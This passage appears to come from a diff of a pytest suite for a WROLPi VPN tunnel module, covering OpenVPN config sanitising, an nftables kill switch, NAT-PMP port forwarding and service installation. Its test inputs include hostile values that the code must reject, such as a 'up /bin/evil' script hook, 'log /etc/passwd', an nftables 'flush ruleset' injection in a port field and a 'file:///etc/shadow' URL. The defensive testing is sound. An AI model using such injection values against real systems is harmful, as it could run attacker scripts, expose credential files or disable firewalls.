'ignore-unknown-option up', 'management 0.0.0.0 7505',
])
def test_refuses_options_which_could_escape(self, line):
with pytest.raises(VPNConfigError):
tunnel.parse_openvpn(f'client\nremote 198.51.100.7\n{line}\n')
@pytest.mark.parametrize('block', ['auth-user-pass', 'up', 'secret-stuff'])
def test_refuses_unknown_inline_blocks(self, block):
with pytest.raises(VPNConfigError, match=f'<{block}>'):
tunnel.parse_openvpn(f'remote 198.51.100.7\n<{block}>\nx\n</{block}>\n')
@pytest.mark.parametrize('text', [
# OpenVPN would end the block here and read the next line as an option.
'<ca>\ncert\n</ca> trailing\nup /bin/evil\n',
'<ca>\ncert\n</ca>junk\n',
# A block left open hides nothing from OpenVPN, but cannot be read either.
'<ca>\ncert\n',
'<connection>\nremote 198.51.100.8\n',
])
def test_inline_blocks_must_close_cleanly(self, text):
with pytest.raises(VPNConfigError):
tunnel.parse_openvpn(f'remote 198.51.100.7\n{text}')
def test_inline_block_closing_tag_however_written(self):
# Closed by any line which starts with the closing tag, so what follows is always checked.
with pytest.raises(VPNConfigError, match='iproute'):
tunnel.parse_openvpn('remote 198.51.100.7\n<ca>\ncert\n </CA>\niproute /bin/evil\n')
def test_quotes_in_harmless_options(self):
text = ('remote 198.51.100.7\npull-filter ignore "route-ipv6"\n'
"verify-x509-name 'C=US, CN=vpn' subject\n")
assert 'pull-filter ignore "route-ipv6"' in tunnel.sanitize_openvpn(tunnel.parse_openvpn(text), {})
def test_drops_scripts_and_what_the_tunnel_replaces(self):
text = ('client\nremote 198.51.100.7\nsetenv opt up /bin/evil\nsetenv CLIENT_CERT 0\nverb 1\n'
'user nobody\nlog /etc/passwd\nblock-outside-dns\ndhcp-option DNS 10.8.0.1\n')
config = tunnel.parse_openvpn(text)
lines = tunnel.sanitize_openvpn(config, {}).splitlines()
assert lines == ['client', 'remote 198.51.100.7 1194 udp', 'setenv CLIENT_CERT 0', 'dhcp-option DNS 10.8.0.1']
assert config.dns == ['10.8.0.1']
def test_inline_key_material(self):
text = 'remote 198.51.100.7\ntls-auth [inline] 1\nkey-direction 1\n<tls-auth>\nkey\n</tls-auth>\n'
assert '<tls-auth>' in tunnel.sanitize_openvpn(tunnel.parse_openvpn(text), {})
def test_pushed_dns(self):
line = ("2026-11-27 PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1,dhcp-option DNS "
"10.8.0.1,dhcp-option DNS6 fd00::1,dhcp-option DOMAIN example.com,dns server 0 address 10.8.0.2 "
"[fd00::2]:53 10.8.0.3:53,route-gateway 10.8.0.1,ifconfig 10.8.0.6 255.255.255.0,peer-id 0'")
assert tunnel.pushed_dns(line) == ['10.8.0.1', 'fd00::1', '10.8.0.2', 'fd00::2', '10.8.0.3']
assert tunnel.pushed_dns('Initialization Sequence Completed') == []
class TestKillSwitch:
def test_drops_everything_but_the_tunnel_and_the_vpn_servers(self):
ruleset = tunnel.build_ruleset(UPLINK, [Endpoint('203.0.113.5', 51820, 'udp'),
Endpoint('2001:db8::5', 443, 'tcp')])
assert ruleset.startswith('table inet wrolpi_vpn\ndelete table inet wrolpi_vpn\n')
for chain in ('input', 'output', 'forward'):
assert f'type filter hook {chain} priority filter; policy drop;' in ruleset
assert 'oifname "vpn0" accept' in ruleset
# From the Internet only the forwarded port; nothing else arriving on the tunnel is accepted.
input_chain = ruleset[ruleset.index('chain input'):ruleset.index('chain output')]
assert 'iifname "vpn0" meta l4proto { tcp, udp } th dport @listen_ports accept' in input_chain
assert 'iifname "vpn0" accept' not in input_chain
assert 'set listen_ports {\n\t\ttype inet_service;\n\t}' in ruleset
assert 'oifname "eth0" ip daddr 203.0.113.5 udp dport 51820 accept' in ruleset
assert 'oifname "eth0" ip6 daddr 2001:db8::5 tcp dport 443 accept' in ruleset
# WROLPi reaches the torrent WebUI from the uplink's network; the namespace only answers.
assert f'iifname "eth0" ip saddr 172.18.0.0/16 tcp dport {tunnel.WEBUI_PORT} accept' in ruleset
assert 'oifname "eth0" ip daddr 172.18.0.0/16 ct state established,related accept' in ruleset
# Docker's DNS would resolve through the host, around the tunnel. It is dropped before loopback is allowed.
output = ruleset[ruleset.index('chain output'):]
assert output.index('ip daddr 127.0.0.11 drop') < output.index('oifname "lo" accept')
def test_listen_ports(self):
ruleset = tunnel.build_ruleset(UPLINK, [], listen_ports=[36523])
assert '\t\telements = { 36523 }\n' in ruleset
@pytest.mark.parametrize('port', ['1 }\nflush ruleset\n', '36523', 0, 70000, True, None, 1.5])
def test_only_port_numbers_reach_nftables(self, port):
with pytest.raises(VPNConfigError):
tunnel.build_ruleset(UPLINK, [], listen_ports=[port])
with pytest.raises(VPNConfigError):
tunnel.set_listen_ports([port])
def test_without_endpoints_nothing_leaves_the_uplink(self):
ruleset = tunnel.build_ruleset(UPLINK, [])
output = ruleset[ruleset.index('chain output'):ruleset.index('chain forward')]
uplink_rules = [line.strip() for line in output.splitlines() if 'oifname "eth0"' in line]
assert uplink_rules == ['oifname "eth0" ip daddr 172.18.0.0/16 ct state established,related accept']
@pytest.fixture
def media(tmp_path, monkeypatch) -> Path:
media = tmp_path / 'media'
(media / 'config' / 'vpn').mkdir(parents=True)
monkeypatch.setenv('MEDIA_DIRECTORY', str(media))
return media
def write_settings(media: Path, **vpn):
(media / 'config' / 'controller.yaml').write_text(yaml.safe_dump({'vpn': vpn}))
def write_endpoints(run_dir: Path, text: str, hosts: dict):
tunnel.write_json(run_dir / tunnel.ENDPOINTS_FILE, {'config_sha256': tunnel.config_sha256(text), 'hosts': hosts})
class TestPlan:
def test_disabled(self, media):
write_settings(media, enabled=False, config_file='vpn/wireguard.conf')
assert tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR) is None
def test_settings_default_without_controller_yaml(self, media):
assert tunnel.load_settings(media) == tunnel.VPN_DEFAULTS
def test_waits_for_the_controller_to_look_up_servers(self, media):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
settings = tunnel.load_settings(media)
with pytest.raises(tunnel.Waiting):
tunnel.make_plan(settings, media / 'config', tunnel.RUN_DIR)
# A lookup of an older config is not used.
write_endpoints(tunnel.RUN_DIR, 'old config', {'vpn.example.com': ['192.0.2.1']})
with pytest.raises(tunnel.Waiting):
tunnel.make_plan(settings, media / 'config', tunnel.RUN_DIR)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
plan = tunnel.make_plan(settings, media / 'config', tunnel.RUN_DIR)
assert plan.kind == 'wireguard'
assert plan.endpoints == [Endpoint('203.0.113.5', 51820, 'udp')]
def test_fingerprint_follows_settings(self, media):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
first = tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='fixed',
forwarded_port=51413)
second = tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
assert first.fingerprint != second.fingerprint
def test_openvpn_needs_its_login(self, media):
text = 'remote 198.51.100.7 1194\nauth-user-pass\n'
(media / 'config/vpn/openvpn.ovpn').write_text(text)
write_settings(media, enabled=True, config_file='vpn/openvpn.ovpn')
with pytest.raises(VPNConfigError, match='username and password'):
tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
(media / 'config/vpn/openvpn-auth.txt').write_text('user\npass\n')
write_settings(media, enabled=True, config_file='vpn/openvpn.ovpn', auth_file='vpn/openvpn-auth.txt')
plan = tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
assert plan.auth_path == media / 'config/vpn/openvpn-auth.txt'
assert plan.endpoints == [Endpoint('198.51.100.7', 1194, 'udp')]
def test_fixed_port_must_be_a_port(self, media):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='fixed',
forwarded_port='1 }\nflush ruleset\n')
with pytest.raises(VPNConfigError, match='not a port'):
tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
def test_missing_config(self, media):
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
with pytest.raises(VPNConfigError, match='missing'):
tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
class FakeSystem:
"""Records the tunnel's commands in order; `vpn0` exists once added."""
def __init__(self):
self.calls = []
self.links = set()
def run(self, *cmd, input_=None):
cmd = tuple(map(str, cmd))
self.calls.append(('nft', input_) if cmd[0] == 'nft' else cmd)
if cmd[:3] == ('ip', 'link', 'add'):
self.links.add(cmd[3])
return mock.Mock(stdout='')
def run_quietly(self, *cmd):
cmd = tuple(map(str, cmd))
self.calls.append(cmd)
if cmd[:3] == ('ip', 'link', 'del'):
self.links.discard(cmd[3])
def rulesets(self):
return [call[1] for call in self.calls if call[0] == 'nft']
def index(self, prefix):
return next(i for i, call in enumerate(self.calls) if call[:len(prefix)] == prefix)
@pytest.fixture
def fake_system(monkeypatch):
system = FakeSystem()
monkeypatch.setattr(tunnel, 'run', system.run)
monkeypatch.setattr(tunnel, 'run_quietly', system.run_quietly)
monkeypatch.setattr(tunnel, 'find_uplink', lambda: UPLINK)
monkeypatch.setattr(tunnel.Tunnel, 'alive', lambda self: 'vpn0' in system.links)
monkeypatch.setattr(tunnel.Tunnel, 'connected', lambda self: 'vpn0' in system.links)
monkeypatch.setattr(tunnel.Tunnel, 'check_public_ip', lambda self: None)
return system
def read_status() -> dict:
return json.loads((tunnel.RUN_DIR / tunnel.STATUS_FILE).read_text())
class TestTunnel:
def make_tunnel(self, media, tmp_path) -> tunnel.Tunnel:
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.start()
return t
def test_starts_locked_down_and_stays_down_while_disabled(self, media, tmp_path, fake_system):
t = self.make_tunnel(media, tmp_path)
t.step()
assert read_status()['state'] == 'disabled'
assert fake_system.rulesets() == [tunnel.build_ruleset(UPLINK, [])]
assert 'vpn0' not in fake_system.links
def test_tunnel_comes_up_behind_the_kill_switch(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
t.step()
endpoints = [Endpoint('203.0.113.5', 51820, 'udp')]
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, endpoints)
# The kill switch is in place before the tunnel exists, and its server is routed around the tunnel.
kill_switch = max(i for i, call in enumerate(fake_system.calls) if call[0] == 'nft')
server_route = fake_system.index(('ip', '-4', 'route', 'replace', '203.0.113.5/32', 'via', '172.18.0.1'))
link = fake_system.index(('ip', 'link', 'add', 'vpn0', 'type', 'wireguard'))
default = fake_system.index(('ip', 'route', 'replace', '0.0.0.0/1', 'dev', 'vpn0'))
assert kill_switch < server_route < link < default
assert ('ip', '-6', 'route', 'replace', '::/1', 'dev', 'vpn0') in fake_system.calls
assert ('ip', 'address', 'add', '10.2.0.2/32', 'dev', 'vpn0') in fake_system.calls
assert ('ip', 'link', 'set', 'dev', 'vpn0', 'mtu', '1380', 'up') in fake_system.calls
assert (tmp_path / 'resolv.conf').read_text() == 'nameserver 10.2.0.1\n'
# The private key is only on disk while `wg setconf` reads it.
assert not (tunnel.RUN_DIR / 'wireguard.conf').exists()
status = read_status()
assert status['state'] == 'connected'
assert status['kind'] == 'wireguard'
assert status['dns'] == ['10.2.0.1']
# Nothing changed: the tunnel is left alone.
calls = len(fake_system.calls)
t.step()
assert len(fake_system.calls) == calls
def test_turning_off_closes_the_kill_switch(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
t.step()
write_settings(media, enabled=False, config_file='vpn/wireguard.conf')
t.step()
assert 'vpn0' not in fake_system.links
assert ('ip', '-4', 'route', 'del', '203.0.113.5/32') in fake_system.calls
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, [])
assert read_status()['state'] == 'disabled'
def test_a_failed_tunnel_leaves_nothing_open(self, media, tmp_path, fake_system, monkeypatch):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
real_run = fake_system.run
def failing_run(*cmd, input_=None):
if cmd[:2] == ('wg', 'setconf'):
raise tunnel.TunnelError('wg setconf failed: Invalid key')
return real_run(*cmd, input_=input_)
monkeypatch.setattr(tunnel, 'run', failing_run)
t.step()
status = read_status()
assert status['state'] == 'error'
assert 'Invalid key' in status['error']
assert 'vpn0' not in fake_system.links
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, [])
def test_waiting_for_server_lookup(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
t.step()
status = read_status()
assert status['state'] == 'waiting'
assert 'vpn.example.com' in status['error']
assert fake_system.rulesets() == [tunnel.build_ruleset(UPLINK, [])]
def test_openvpn_config_is_private_and_run_without_scripts(self, media, tmp_path, fake_system, monkeypatch):
text = 'client\nremote 198.51.100.7 1194\nup /bin/evil\nscript-security 3\n'
(media / 'config/vpn/openvpn.ovpn').write_text(text)
write_settings(media, enabled=True, config_file='vpn/openvpn.ovpn')
t = self.make_tunnel(media, tmp_path)
class FakeOpenVPN:
def __init__(self, cmd):
self.cmd = cmd
self.connected = __import__('threading').Event()
# OpenVPN brings up the device, logs the pushed DNS, then that it is connected.
fake_system.links.add('vpn0')
self.dns = ['10.8.0.1']
self.connected.set()
def poll(self):
return None
def stop(self):
fake_system.links.discard('vpn0')
monkeypatch.setattr(tunnel, 'OpenVPNProcess', FakeOpenVPN)
monkeypatch.setattr(tunnel, 'interface_addresses', lambda interface: ['10.8.0.6/24'])
monkeypatch.setattr(tunnel.Tunnel, 'alive', lambda self: self.openvpn is not None)
t.step()
cmd = t.openvpn.cmd
# After the config, so they win over it: OpenVPN may run `ip`, never a script.
assert cmd.index('--script-security') > cmd.index('--config')
assert cmd[cmd.index('--script-security') + 1] == '1'
assert '--up' not in cmd
assert cmd[cmd.index('--dev') + 1] == 'vpn0'
assert '--route-noexec' in cmd
config = tunnel.RUN_DIR / tunnel.OPENVPN_CONFIG_FILE
assert stat.S_IMODE(config.stat().st_mode) == 0o600
assert '/bin/evil' not in config.read_text()
assert 'script-security' not in config.read_text()
assert (tmp_path / 'resolv.conf').read_text() == 'nameserver 10.8.0.1\n'
status = read_status()
assert status['state'] == 'connected'
assert status['addresses'] == ['10.8.0.6/24']
def test_public_ip_checked_right_after_boot(self, media, tmp_path, monkeypatch):
"""time.monotonic() counts from boot: a tunnel started in the first minutes of uptime must still check (a "never
checked" of 0.0 looked like a check moments ago)."""
monkeypatch.setattr(tunnel.time, 'monotonic', lambda: 42.0)
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.plan = mock.Mock(settings={'public_ip_url': 'https://ip.example.com'})
urlopen = mock.MagicMock()
urlopen.return_value.__enter__.return_value.read.return_value = b'203.0.113.99\n'
monkeypatch.setattr(tunnel.urllib.request, 'urlopen', urlopen)
t.check_public_ip()
assert t.public_ip == '203.0.113.99'
def test_public_ip_must_be_a_web_address_and_an_address(self, media, tmp_path, monkeypatch):
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.plan = mock.Mock(settings={'public_ip_url': 'file:///etc/shadow'})
urlopen = mock.MagicMock()
monkeypatch.setattr(tunnel.urllib.request, 'urlopen', urlopen)
t.check_public_ip()
urlopen.assert_not_called()
assert t.public_ip is None
t.plan.settings['public_ip_url'] = 'https://ip.example.com'
t.public_ip_checked = tunnel.NEVER
urlopen.return_value.__enter__.return_value.read.return_value = b'<html>not an address</html>'
t.check_public_ip()
assert t.public_ip is None
t.public_ip_checked = tunnel.NEVER
urlopen.return_value.__enter__.return_value.read.return_value = b'203.0.113.99\n'
t.check_public_ip()
assert t.public_ip == '203.0.113.99'
class TestInstalled:
def test_unit_runs_the_tunnel_in_the_namespace(self):
unit = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn.service').read_text()
assert 'ExecStartPre=/opt/wrolpi/etc/raspberrypios/wrolpi-vpn-netns.sh up' in unit
assert 'ip netns exec wrolpi-vpn /opt/wrolpi/controller/venv/bin/python /opt/wrolpi/controller/vpn/tunnel.py' \
in unit
assert '--resolv-conf /etc/netns/wrolpi-vpn/resolv.conf' in unit
assert os.access(REPOSITORY / 'etc/raspberrypios/wrolpi-vpn-netns.sh', os.X_OK)
def test_namespace_is_closed_before_it_has_a_way_out(self):
"""The namespace gets a drop-everything kill switch before its route to the host's masquerade, so nothing gets
out before (or if) the tunnel installs its own."""
script = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn-netns.sh').read_text()
closed = script.index('policy drop')
assert 'table inet wrolpi_vpn {' in script[:closed + 200]
assert closed < script.index('route replace default')
assert closed < script.index('link set "${NAMESPACE_INTERFACE}" up')
# Never replaces the tunnel's own (a restart must not open its forwarded port's rules to everything, nor close
# a working tunnel).
assert 'nft list table inet wrolpi_vpn' in script
def test_torrents_wait_for_the_kill_switch(self):
"""Like the Docker entrypoint: qBittorrent starts only once this run of the tunnel has written its status,
which it does only after installing its kill switch."""
vpn = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn.service').read_text()
assert vpn.index('ExecStartPre=/bin/rm -f /run/wrolpi-vpn/status.json') < vpn.index('wrolpi-vpn-netns.sh up')
torrent = (REPOSITORY / 'etc/raspberrypios/wrolpi-torrent.service').read_text()
wait = torrent.index('/run/wrolpi-vpn/status.json')
assert wait < torrent.index('ExecStart=/usr/bin/qbittorrent-nox')
assert 'ExecStartPre=' in torrent[torrent.rindex('\n', 0, wait):wait]
def test_units_installed_and_enabled(self):
for script in ('repair.sh', 'pi-gen/stage2/04-wrolpi/03-run-chroot.sh',
'debian-live-config/config/includes.chroot/usr/local/sbin/wrolpi-bootstrap.sh',
'etc/raspberrypios/wrolpi.target'):
assert 'wrolpi-vpn.service' in (REPOSITORY / script).read_text(), script
def test_packages(self):
for packages in ('pi-gen/stage2/04-wrolpi/01-packages-nr',
'debian-live-config/config/package-lists/wrolpi.list.chroot'):
lines = (REPOSITORY / packages).read_text().splitlines()
for package in ('nftables', 'openvpn', 'wireguard-tools'):
assert package in lines, (packages, package)
upgrade = (REPOSITORY / 'scripts/upgrade.sh').read_text()
assert 'nftables openvpn wireguard-tools' in upgrade
def test_docker(self):
dockerfile = (REPOSITORY / 'docker/vpn/Dockerfile').read_text()
assert 'COPY controller/vpn/tunnel.py /app/tunnel.py' in dockerfile
for package in ('nftables', 'openvpn', 'wireguard-tools', 'python3-yaml'):
assert package in dockerfile
compose = yaml.safe_load((REPOSITORY / 'docker-compose.yml').read_text())
vpn = compose['services']['vpn']
assert 'NET_ADMIN' in vpn['cap_add']
assert 'MEDIA_DIRECTORY=/vpn-media' in vpn['environment']
assert '${MEDIA_DIRECTORY:-./test}/config:/vpn-media/config:ro' in vpn['volumes']
assert 'vpn-run:/run/wrolpi-vpn' in vpn['volumes']
assert 'vpn-run:/run/wrolpi-vpn' in compose['services']['controller']['volumes']
def test_standalone(self):
"""The Docker image copies tunnel.py alone, so it imports only the standard library and PyYAML."""
source = (REPOSITORY / 'controller/vpn/tunnel.py').read_text()
imports = {line.split()[1].split('.')[0] for line in source.splitlines()
if line.startswith(('import ', 'from '))}
assert 'controller' not in imports
assert imports - {'yaml'} <= set(__import__('sys').stdlib_module_names)
class FakeNATPMPGateway:
"""A NAT-PMP gateway on localhost which forwards `port`, or answers with `result`."""
def __init__(self, port=51413, result=0, lifetime=60, stray_first=False, answer=True):
import socket
import threading
self.port, self.result, self.lifetime, self.stray_first, self.answer = port, result, lifetime, stray_first, \
answer
self.requests = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.bind(('127.0.0.1', 0))
self.address = self.sock.getsockname()
threading.Thread(target=self.serve, daemon=True).start()
def serve(self):
import struct
while True:
try:
request, client = self.sock.recvfrom(64)
except OSError:
return
self.requests.append(struct.unpack('!BBHHHI', request))
if not self.answer:
continue
op = request[1]
if self.stray_first:
# An answer to some other request comes first; it must be ignored.
self.sock.sendto(struct.pack('!BBHI', 0, 128, 0, 1) + bytes(4), client)
self.sock.sendto(struct.pack('!BBHIHHI', 0, 128 + op, self.result, 1, 0, self.port, self.lifetime), client)
def close(self):
self.sock.close()
@pytest.fixture
def natpmp_gateway(monkeypatch):
gateways = []
def make(**kwargs):
gateway = FakeNATPMPGateway(**kwargs)
gateways.append(gateway)
monkeypatch.setattr(tunnel, 'NATPMP_PORT', gateway.address[1])
return gateway
yield make
for gateway in gateways:
gateway.close()
class TestNATPMP:
def test_map(self, natpmp_gateway):
gateway = natpmp_gateway(port=51413, stray_first=True)
assert tunnel.natpmp_map('127.0.0.1', 'udp') == (51413, 60)
assert tunnel.natpmp_map('127.0.0.1', 'tcp') == (51413, 60)
# As Proton documents (`natpmpc -a 1 0 udp 60`): no internal port, external port 1, 60 seconds.
assert gateway.requests == [(0, 1, 0, 0, 1, 60), (0, 2, 0, 0, 1, 60)]
def test_refused(self, natpmp_gateway):
natpmp_gateway(result=2)
with pytest.raises(tunnel.NATPMPError, match='not authorized'):
tunnel.natpmp_map('127.0.0.1', 'tcp')
def test_no_answer(self, natpmp_gateway):
gateway = natpmp_gateway(answer=False)
with pytest.raises(tunnel.NATPMPError, match='P2P server'):
tunnel.natpmp_request('127.0.0.1', bytes([0, 2]) + bytes(10), timeout=0.05, tries=3)
# Retried.
assert len(gateway.requests) == 3
def test_pushed_gateway(self):
line = "PUSH: Received control message: 'PUSH_REPLY,route-gateway 10.8.0.1,topology subnet'"
assert tunnel.pushed_gateway(line) == '10.8.0.1'
assert tunnel.pushed_gateway('Initialization Sequence Completed') is None
class TestPortForwarding:
@pytest.fixture
def connected_tunnel(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='natpmp')
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.start()
return t
def test_forwarded_port_is_renewed_at_half_its_lifetime(self, connected_tunnel, monkeypatch):
calls = []
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: calls.append((gateway, proto)) or (51413, 60))
now = [1000.0]
monkeypatch.setattr(tunnel.time, 'monotonic', lambda: now[0])
connected_tunnel.step()
# Proton's gateway is its DNS server.
assert calls == [('10.2.0.1', 'udp'), ('10.2.0.1', 'tcp')]
assert read_status()['forwarded_port'] == 51413
now[0] += 29
connected_tunnel.step()
assert len(calls) == 2
now[0] += 2
connected_tunnel.step()
assert len(calls) == 4
assert read_status()['forwarded_port'] == 51413
def test_a_changed_port_is_reported(self, connected_tunnel, monkeypatch):
ports = iter([51413, 51413, 60000, 60000])
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: (next(ports), 60))
connected_tunnel.step()
connected_tunnel.port_forwarding_renewed = 0.0
connected_tunnel.step()
assert read_status()['forwarded_port'] == 60000
def test_refused_keeps_the_vpn_up_and_says_why(self, connected_tunnel, monkeypatch):
def refuse(gateway, proto):
raise tunnel.NATPMPError('The VPN refused to forward a port: not authorized')
monkeypatch.setattr(tunnel, 'natpmp_map', refuse)
connected_tunnel.step()
status = read_status()
assert status['state'] == 'connected'
assert status['forwarded_port'] is None
assert status['warnings'] == ['The VPN refused to forward a port: not authorized']
def test_gateway_setting_wins(self, connected_tunnel, media, monkeypatch):
calls = []
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: calls.append(gateway) or (51413, 60))
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='natpmp',
natpmp_gateway='10.64.0.1')
connected_tunnel.step()
assert set(calls) == {'10.64.0.1'}
def test_only_the_forwarded_port_is_open(self, connected_tunnel, monkeypatch, fake_system):
ports = iter([51413, 51413, 60000, 60000])
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: (next(ports), 60))
connected_tunnel.step()
assert fake_system.rulesets()[-1] == \
'flush set inet wrolpi_vpn listen_ports\nadd element inet wrolpi_vpn listen_ports { 51413 }\n'
# Unchanged: the kill switch is left alone.
count = len(fake_system.rulesets())
connected_tunnel.step()
assert len(fake_system.rulesets()) == count
# A new port replaces the old one.
connected_tunnel.port_forwarding_renewed = 0.0
connected_tunnel.step()
assert fake_system.rulesets()[-1].endswith('listen_ports { 60000 }\n')
def test_refused_port_closes_it(self, connected_tunnel, monkeypatch, fake_system):
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: (51413, 60))
connected_tunnel.step()
def refuse(gateway, proto):
raise tunnel.NATPMPError('refused')
monkeypatch.setattr(tunnel, 'natpmp_map', refuse)
connected_tunnel.port_forwarding_renewed = 0.0
connected_tunnel.step()
assert fake_system.rulesets()[-1] == 'flush set inet wrolpi_vpn listen_ports\n'
def test_wrol_mode_takes_the_tunnel_down(self, connected_tunnel, media, fake_system):
connected_tunnel.step()
assert 'vpn0' in fake_system.links
(media / 'config' / '.wrol_mode').touch()
connected_tunnel.step()
assert 'vpn0' not in fake_system.links
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, [])
status = read_status()
assert status['state'] == 'wrol_mode'
assert 'WROL Mode' in status['error']
# Back up once WROL Mode ends.
(media / 'config' / '.wrol_mode').unlink()
connected_tunnel.step()
assert 'vpn0' in fake_system.links
def test_wrol_mode_in_wrolpi_yaml_takes_the_tunnel_down(self, connected_tunnel, media, fake_system):
"""wrolpi.yaml is the source of truth; the flag file may not have been written (e.g. a hand-edited config
while the API is down)."""
connected_tunnel.step()
assert 'vpn0' in fake_system.links
(media / 'config' / 'wrolpi.yaml').write_text('wrol_mode: true\n')
connected_tunnel.step()
assert 'vpn0' not in fake_system.links
assert read_status()['state'] == 'wrol_mode'
(media / 'config' / 'wrolpi.yaml').write_text('wrol_mode: false\n')
connected_tunnel.step()
assert 'vpn0' in fake_system.links
def test_wrol_mode_in_the_apis_config_directory(self, media, tmp_path, fake_system, monkeypatch):
"""In Docker the Controller's config directory is not the API's; the tunnel also reads the API's, where the
API writes .wrol_mode and wrolpi.yaml."""
api_config = tmp_path / 'api-config'
api_config.mkdir()
monkeypatch.setenv('WROLPI_CONFIG_DIRECTORY', str(api_config))
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.start()
t.step()
assert 'vpn0' in fake_system.links
(api_config / '.wrol_mode').touch()
t.step()
assert 'vpn0' not in fake_system.links
assert read_status()['state'] == 'wrol_mode'
(api_config / '.wrol_mode').unlink()
(api_config / 'wrolpi.yaml').write_text('wrol_mode: true\n')
t.step()
assert read_status()['state'] == 'wrol_mode'
def test_docker_gives_the_tunnel_the_apis_config(self):
compose = yaml.safe_load((REPOSITORY / 'docker-compose.yml').read_text())
vpn = compose['services']['vpn']
assert 'WROLPI_CONFIG_DIRECTORY=/media/wrolpi/config' in vpn['environment']
assert any(v.split(':')[1] == '/media/wrolpi/config' for v in vpn['volumes'] if isinstance(v, str))
def test_unreadable_wrolpi_yaml_is_not_wrol_mode(self, connected_tunnel, media, fake_system):
(media / 'config' / 'wrolpi.yaml').write_text('{not yaml')
connected_tunnel.step()
assert 'vpn0' in fake_system.links
def test_not_asked_unless_natpmp(self, connected_tunnel, media, monkeypatch):
monkeypatch.setattr(tunnel, 'natpmp_map', mock.Mock(side_effect=AssertionError('asked')))
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='fixed',
forwarded_port=51413)
connected_tunnel.step()
assert read_status()['forwarded_port'] == 51413

View file

1149
controller/vpn/tunnel.py Normal file

File diff suppressed because it is too large Load diff

View file

@ -280,8 +280,8 @@ fi
# with --no-block so systemd queues the starts after we exit.
progress "Starting WROLPi services..."
systemctl enable wrolpi-api.service wrolpi-app.service wrolpi-kiwix.service wrolpi-tiles.service wrolpi-rsyncd.service
systemctl start --no-block wrolpi-api.service wrolpi-app.service wrolpi-kiwix.service wrolpi-tiles.service wrolpi-rsyncd.service
systemctl enable wrolpi-api.service wrolpi-app.service wrolpi-kiwix.service wrolpi-tiles.service wrolpi-rsyncd.service wrolpi-vpn.service wrolpi-torrent.service
systemctl start --no-block wrolpi-api.service wrolpi-app.service wrolpi-kiwix.service wrolpi-tiles.service wrolpi-rsyncd.service wrolpi-vpn.service wrolpi-torrent.service
# If we did anything notable, leave a summary for the XFCE autostart to
# show as a zenity dialog once the user lands on the desktop.

View file

